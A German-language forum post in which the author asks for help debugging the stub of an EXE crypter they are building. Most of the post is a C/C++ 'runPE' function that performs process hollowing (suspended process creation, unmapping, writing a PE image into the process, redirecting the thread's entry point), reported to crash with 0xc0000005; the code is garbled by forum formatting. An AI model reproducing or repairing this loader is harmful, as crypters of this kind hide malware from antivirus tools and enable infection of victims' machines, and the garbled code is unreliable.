Hallo,
Ich habe mich jetzt seit zwei wochen mit exe cryptern auseinandergesetzt. Mein builder + stub sind fast fertig , nur die stub arbeitet nicht nach meinen "wünschen". das problem ist das die stub mein testapp nicht als prozess laden kann.

Hier meine funktion um die PE image aus dem memory zu laden.

PHP-Code:
/* 
--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_ 
runPE( 
dosheader ptr, 
ntheader ptr, 
sectionheader ptr, 
ptr to exebuffer, 
DWORD SizeOfImage(Alignment fixed)) 
_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_-- 
*/ 
int runPE2(IMAGE_DOS_HEADERpDOS,IMAGE_NT_HEADERS pNT,IMAGE_SECTION_HEADER pSection,charpData,DWORD szImage

    
STARTUPINFO si = {0}; 
    
PROCESS_INFORMATION pi
    
CONTEXT ctx

    if(
CreateProcess(NULL,szFileName,NULLNULL0CREATE_SUSPENDEDNULLNULL, &si,&pi)) 
    { 
        
ctx.ContextFlags CONTEXT_FULL
        if(!
GetThreadContext(pi.hThread,&ctx)) 
        { 
            
MessageBoxA(0,"GetThreadContext Error!","Error",0); 
        } 
        
DWORD dwImagebase NULL
        
DWORD dwBytesRead NULL
        
DWORD dwByteswritten NULL
        
DWORD dwOldProtection NULL

        if(!
ReadProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx 8),&dwImagebase,sizeof(DWORD),&dwBytesRead)) 
        { 
            
MessageBoxA(0,"RPM Error!","Error",0); 
        } 
        
VirtualProtect(&pNT->OptionalHeader.ImageBase,sizeof(DWORD),PAGE_READWRITE,&dwOldProtection); 
        
pNT->OptionalHeader.ImageBase dwImagebase
        
VirtualProtect(&pNT->OptionalHeader.ImageBase,sizeof(DWORD),dwOldProtection,&dwOldProtection); 
         

        
UnmapViewOfSection_ pZwUnmapViewOfSection = (UnmapViewOfSection_)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); 

        if(
pZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwImagebase) != 0
        { 
            
MessageBoxA(0,"Unmaping Error!","Error",0); 
        } 

        
voidnewBase VirtualAllocEx(pi.hProcess, (LPVOID)pNT->OptionalHeader.ImageBase,szImageMEM_RESERVE MEM_COMMITPAGE_EXECUTE_READWRITE); 
        if(!
newBase
        { 
            
MessageBoxA(0,"Allocting Error!","Error",0); 
        } 

        if(!
WriteProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx 8),newBasesizeof(DWORD), &dwByteswritten)) 
        { 
            
MessageBoxA(0,"WPM Imagebase Error!","Error",0); 
        } 

        if(!
WriteProcessMemory(pi.hProcess,newBase,pData,pNT->OptionalHeader.SizeOfHeaders, &dwByteswritten)) 
        { 
            
MessageBoxA(0,"WPM SizeOfHeaders Error!","Error",0); 
        } 

        for(
int i 0pNT->FileHeader.NumberOfSectionsi++) 
        { 
            
pSection = (PIMAGE_SECTION_HEADER)((char*)(pData pDOS->e_lfanew +  sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i)); 
            if(!
WriteProcessMemory(pi.hProcess,(char*)(pNT->OptionalHeader.ImageBase pSection->VirtualAddress),(char*)(pData pSection->PointerToRawData),pSection->SizeOfRawData, &dwByteswritten)) 
            { 
                
MessageBoxA(0,"WPM in LOOP Error!","Error",0); 
            } 
        } 

        
ctx.Eax = (DWORD)newBase pNT->OptionalHeader.AddressOfEntryPoint;        // eax holds new entry point 

        
if(!SetThreadContext(pi.hThread,&ctx)) 
        { 
            
MessageBoxA(0,"SetThreadContext Error!","Error",0); 
        } 

        if(!
ResumeThread(pi.hThread)) 
        { 
            
MessageBoxA(0,"ResumeThread Error!","Error",0); 
        } 

        
CloseHandle(pi.hThread); 
        
CloseHandle(pi.hProcess); 
         
        
//TerminateProcess(pi.hProcess,0); 

        
return 1
    } 
    return -
1

Nach dem Aufruf von ResumeThread bekomme ich die fehlermeldung "The application was unable to start correctly (0xc0000005)"

Informationen:
Windows 7
compiler VC++ 2010
ziel; "Hello World" Programm; win32 console

Vielen Dank fürs durchlesen